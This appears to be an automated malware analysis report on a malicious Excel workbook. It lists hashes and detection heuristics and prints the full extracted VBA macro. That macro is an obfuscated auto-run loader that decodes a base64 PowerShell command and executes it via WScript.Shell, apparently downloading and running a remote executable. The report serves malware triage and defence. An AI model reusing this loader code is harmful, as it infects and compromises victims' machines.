Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c8fe88829b9e9979…

MALICIOUS

Office (OOXML)

18.2 KB Created: 2021-06-23 20:33:56 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-07-02
MD5: 351cf6f41f44dfce40268ed0aa0ddeab SHA-1: 77d098d3f59577d512b3434adc1445f3e229a7b8 SHA-256: c8fe88829b9e9979c1f5a454d6b5bed64bbd4d429766b590cc97d4f6541b631e
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    gmjoaipooboaqrufaellyqrdnplji = 0
creuiwhczfayakjsiyixjm = "WSCript.shell"
Set yzzgjkzdxiizcdnhrlsbwildupoaprwkg = CreateObject(creuiwhczfayakjsiyixjm)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    gmjoaipooboaqrufaellyqrdnplji = 0
creuiwhczfayakjsiyixjm = "WSCript.shell"
Set yzzgjkzdxiizcdnhrlsbwildupoaprwkg = CreateObject(creuiwhczfayakjsiyixjm)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    creuiwhczfayakjsiyixjm = "WSCript.shell"
Set yzzgjkzdxiizcdnhrlsbwildupoaprwkg = CreateObject(creuiwhczfayakjsiyixjm)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7255 bytes
SHA-256: d191ed4b3a00d5b647655514eed97503076626e54a9e3c127e5a547083571c8b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()

qbub.xdv
dh = 76

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "qbub"
Sub xdv()
On Error Resume Next
xtki = d__as(129) & d__as(171) & d__as(130) & d__as(94) & d__as(109) & d__as(161) & d__as(94) & d__as(142) & d__as(141) & d__as(156) & d__as(181) & d__as(156) & d__as(131) & d__as(176) & d__as(177) & d__as(156) & d__as(166) & d__as(163) & d__as(156) & d__as(170) & d__as(138) & d__as(94) & d__as(107) & d__as(163) & d__as(94)
trarelfoepalvscsvyxevljzvfjbgq = mfjqjnmibahdgqwoyiodk
xtki = xtki & "WwBTAHkAUwB0AGUAbQAuAHQARQBYAFQALgBlAE4AQwBPAGQAaQBOAGcAXQA6ADoAVQBuAGkAQwBPAGQAZQAuAEcAZQBUAHMAdABSAGkAbgBHACgAWwBzAFkAUwBUAGUATQAuAEMAbwBuAHYARQByAFQAXQA6ADoAZgByAG8ATQBCAEEAUwBFADYANABzAHQAcgBJAG4AZwAoACIAWgBnAEIAMQBBAEcANABBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAYgBRAEIAeQBBAEgAZwBBAGQAZwBCADYAQQBHADQAQQBiAGcAQgB4AEEASABJAEEAZAB3AEIAdQBBAEcAWQBBAGQAQQBCADYAQQBIAFUAQQBaAGcAQgBpAEEASABZAEEAWgB3AEIAcABBAEcAcwBBAGMAZwBCADYAQQBHAHcAQQBjAFEAQgBuAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGQAZwBCAHMAQQBHADAAQQBZAGcAQgAyAEEASABNAEEAWgBRAEIAeQBBAEcAcwBBAGMAQQBCAHYAQQBHAGsAQQBZAFEAQgBzAEEARwB3AEEAWgB3AEIAMgBBAEgA"
dwxrbe = 165910
xtki = xtki & "SQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgB6AEEARwBjAEEAYwBnAEIAeABBAEcATQBBAGEAZwBCADQAQQBHAEUAQQBiAEEAQgB0AEEARwBRAEEAZABnAEIAegBBAEcAdwBBAFoAZwBBAGcAQQBDAGsAQQBEAFEAQQBLAEEASABzAEEASQBBAEIASgBBAEUAMABBAFUAQQBCAHYAQQBIAEkAQQBkAEEAQQB0AEEARwAwAEEAYgB3AEIAawBBAEgAVQBBAGIAQQBCAEYAQQBDAEEAQQBZAGcAQgBwAEEASABRAEEAYwB3AEIAMABBAEgASQBBAFkAUQBCAHUAQQBIAE0AQQBaAGcAQgBGAEEASABJAEEATwB3AEEATgBBAEEAbwBBAGMAdwBCADAAQQBFAEUAQQBVAGcAQgAwAEEAQwAwAEEAUQBnAEIASgBBAEYAUQBBAGMAdwBCADAAQQBGAEkAQQBZAFEAQgBPAEEASABNAEEAUgBnAEIARgBBAEYASQBBAEkAQQBBAHQAQQBIAE0AQQBiAHcAQgBWAEEASABJAEEAUQB3AEIAbABBAEMAQQBBAEoAQQBCADIAQQBHAHcAQQBiAFEA"
igjwgevejqnwpwuzkscwpivndemaglm = "slfxztaqvfccmx"
xtki = xtki & "QgBpAEEASABZAEEAYwB3AEIAbABBAEgASQBBAGEAdwBCAHcAQQBHADgAQQBhAFEAQgBoAEEARwB3AEEAYgBBAEIAbgBBAEgAWQBBAGMAZwBBAGcAQQBDADAAQQBaAEEAQgBGAEEARgBNAEEAVgBBAEIASgBBAEUANABBAFkAUQBCADAAQQBHAGsAQQBUAHcAQgB1AEEAQwBBAEEASgBBAEIAegBBAEcAYwBBAGMAZwBCAHgAQQBHAE0AQQBhAGcAQgA0AEEARwBFAEEAYgBBAEIAdABBAEcAUQBBAGQAZwBCAHoAQQBHAHcAQQBaAGcAQQA3AEEAQwBBAEEASgBnAEEAZwBBAEMAUQBBAGMAdwBCAG4AQQBIAEkAQQBjAFEAQgBqAEEARwBvAEEAZQBBAEIAaABBAEcAdwBBAGIAUQBCAGsAQQBIAFkAQQBjAHcAQgBzAEEARwBZAEEATwB3AEEAZwBBAEgAMABBAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBrAEEARwAwAEEAYQB3AEIAbwBBAEcAbwBBAGEAZwBCAHQAQQBHAHMAQQBaAGcAQgBtAEEARwBNAEEAZAB3AEIANABBAEcA"
'eeibihawzbdhocvcfipgmwxxres
xtki = xtki & "RQBBAFkAUQBCAG4AQQBHADAAQQBaAEEAQgByAEEARAAwAEEASgBBAEIARgBBAEcANABBAFYAZwBBADYAQQBIAFEAQQBSAFEAQgBOAEEARgBBAEEASwB3AEEAbgBBAEYAdwBBAGMAQQBCADQAQQBIAEEAQQBlAGcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBiAFEAQgB5AEEASABnAEEAZABnAEIANgBBAEcANABBAGIAZwBCAHgAQQBIAEkAQQBkAHcAQgB1AEEARwBZAEEAZABBAEIANgBBAEgAVQBBAFoAZwBCAGkAQQBIAFkAQQBaAHcAQgBwAEEARwBzAEEAYwBnAEIANgBBAEcAdwBBAGMAUQBCAG4AQQBDAEEAQQBKAHcAQgBvAEEASABRAEEAZABBAEIAdwBBAEgATQBBAE8AZwBBAHYAQQBDADgAQQBZAHcAQgBrAEEARwA0AEEATABnAEIAawBBAEcAawBBAGMAdwBCAGoAQQBHADgAQQBjAGcAQgBrAEEARwBFAEEAYwBBAEIAdwBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcA"
dwxrbe = 165910
xtki = xtki & "QgBoAEEASABRAEEAZABBAEIAaABBAEcATQBBAGEAQQBCAHQAQQBHAFUAQQBiAGcAQgAwAEEASABNAEEATAB3AEEANABBAEQAVQBBAE4AZwBBADUAQQBEAEUAQQBPAFEAQQAxAEEARABBAEEATgBRAEEANABBAEQARQBBAE4AZwBBAHoAQQBEAGcAQQBOAHcAQQAxAEEARABrAEEATgBnAEEAdgBBAEQAZwBBAE4AUQBBADMAQQBEAE0AQQBOAFEAQQAxAEEARABrAEEATgBBAEEAeABBAEQAYwBBAE4AQQBBADAAQQBEAGMAQQBNAHcAQQA0AEEARABNAEEATQBRAEEAMABBAEMAOABBAGQAQQBCAG8AQQBHAFUAQQBjAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHADAAQQBhAHcAQgBvAEEARwBvAEEAYQBnAEIAdABBAEcAcwBBAFoAZwBCAG0AQQBHAE0AQQBkAHcAQgA0AEEARwBFAEEAWQBRAEIAbgBBAEcAMABBAFoAQQBCAHIAQQBEAHMAQQBEAFEAQQBLAEEARwAwAEEAYwBnAEIANABBAEgA"
igjwgevejqnwpwuzkscwpivndemaglm = "slfxztaqvfccmx"
xtki = xtki & "WQBBAGUAZwBCAHUAQQBHADQAQQBjAFEAQgB5AEEASABjAEEAYgBnAEIAbQBBAEgAUQBBAGUAZwBCADEAQQBHAFkAQQBZAGcAQgAyAEEARwBjAEEAYQBRAEIAcgBBAEgASQBBAGUAZwBCAHMAQQBIAEUAQQBaAHcAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBNAEEAWgBBAEIAdQBBAEMANABBAFoAQQBCAHAAQQBIAE0AQQBZAHcAQgB2AEEASABJAEEAWgBBAEIAaABBAEgAQQBBAGMAQQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQwA4AEEAWQBRAEIAMABBAEgAUQBBAFkAUQBCAGoAQQBHAGcAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAegBBAEMAOABBAE8AQQBBADEAQQBEAFkAQQBPAFEAQQB4AEEARABrAEEATgBRAEEAdwBBAEQAVQBBAE8AQQBBAHgAQQBEAFkAQQBNAHcAQQA0AEEARABjAEEATgBRAEEANQBBAEQAWQBBAEwAdwBBADQAQQBEAFUAQQBOAHcA"
igjwgevejqnwpwuzkscwpivndemaglm = "slfxztaqvfccmx"
xtki = xtki & "QQB6AEEARABVAEEATgBRAEEANQBBAEQAUQBBAE0AUQBBADMAQQBEAFEAQQBOAEEAQQAzAEEARABNAEEATwBBAEEAegBBAEQARQBBAE4AQQBBAHYAQQBIAFEAQQBhAEEAQgBsAEEASABNAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgB0AEEARwBzAEEAYQBBAEIAcQBBAEcAbwBBAGIAUQBCAHIAQQBHAFkAQQBaAGcAQgBqAEEASABjAEEAZQBBAEIAaABBAEcARQBBAFoAdwBCAHQAQQBHAFEAQQBhAHcAQQA3AEEAQQAwAEEAQwBnAEIAdABBAEgASQBBAGUAQQBCADIAQQBIAG8AQQBiAGcAQgB1AEEASABFAEEAYwBnAEIAMwBBAEcANABBAFoAZwBCADAAQQBIAG8AQQBkAFEAQgBtAEEARwBJAEEAZABnAEIAbgBBAEcAawBBAGEAdwBCAHkAQQBIAG8AQQBiAEEAQgB4AEEARwBjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcA"
dwxrbe = 165910
xtki = xtki & "UQBBAGIAZwBBAHUAQQBHAFEAQQBhAFEAQgB6AEEARwBNAEEAYgB3AEIAeQBBAEcAUQBBAFkAUQBCAHcAQQBIAEEAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAdgBBAEcARQBBAGQAQQBCADAAQQBHAEUAQQBZAHcAQgBvAEEARwAwAEEAWgBRAEIAdQBBAEgAUQBBAGMAdwBBAHYAQQBEAGcAQQBOAFEAQQAyAEEARABrAEEATQBRAEEANQBBAEQAVQBBAE0AQQBBADEAQQBEAGcAQQBNAFEAQQAyAEEARABNAEEATwBBAEEAMwBBAEQAVQBBAE8AUQBBADIAQQBDADgAQQBPAEEAQQAxAEEARABjAEEATQB3AEEAMQBBAEQAVQBBAE8AUQBBADAAQQBEAEUAQQBOAHcAQQAwAEEARABRAEEATgB3AEEAegBBAEQAZwBBAE0AdwBBAHgAQQBEAFEAQQBMAHcAQgAwAEEARwBnAEEAWgBRAEIAegBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYgBRAEIAcgBBAEcAZwBBAGEAZwBCAHEAQQBHADAAQQBhAHcA"
'eeibihawzbdhocvcfipgmwxxres
xtki = xtki & "QgBtAEEARwBZAEEAWQB3AEIAMwBBAEgAZwBBAFkAUQBCAGgAQQBHAGMAQQBiAFEAQgBrAEEARwBzAEEATwB3AEEATgBBAEEAbwBBAGYAUQBCAGoAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEAZQB3AEIAOQBBAEEAPQA9ACIAKQApAHwASQBFAFgA"
trarelfoepalvscsvyxevljzvfjbgq = mfjqjnmibahdgqwoyiodk


bulbwtpzkddcvztjoipjnhldwmh = xtki
viecwcujlnltdsgrx (bulbwtpzkddcvztjoipjnhldwmh)
End Sub
Sub IF_Not()
    MsgBox Not (True)
End Sub
Function viecwcujlnltdsgrx(karwqmerajmig As String)
gmjoaipooboaqrufaellyqrdnplji = 0
creuiwhczfayakjsiyixjm = "WSCript.shell"
Set yzzgjkzdxiizcdnhrlsbwildupoaprwkg = CreateObject(creuiwhczfayakjsiyixjm)

dgsphaplwelkjmjmoo = yzzgjkzdxiizcdnhrlsbwildupoaprwkg.Run(karwqmerajmig, gmjoaipooboaqrufaellyqrdnplji)
End Function
Function d__as(l__k)
sdf = "dfsgf gddh yuytfh gbdhgf"
d__as = ChrW(l__k - 62)
teyh = "gfdfsgr gfdfsf gfhfgd bcdfg444"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: 32e47bc1afcfb567001b3e995f4ad26f151fafee3476d08c0d676c1b942e9af0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).

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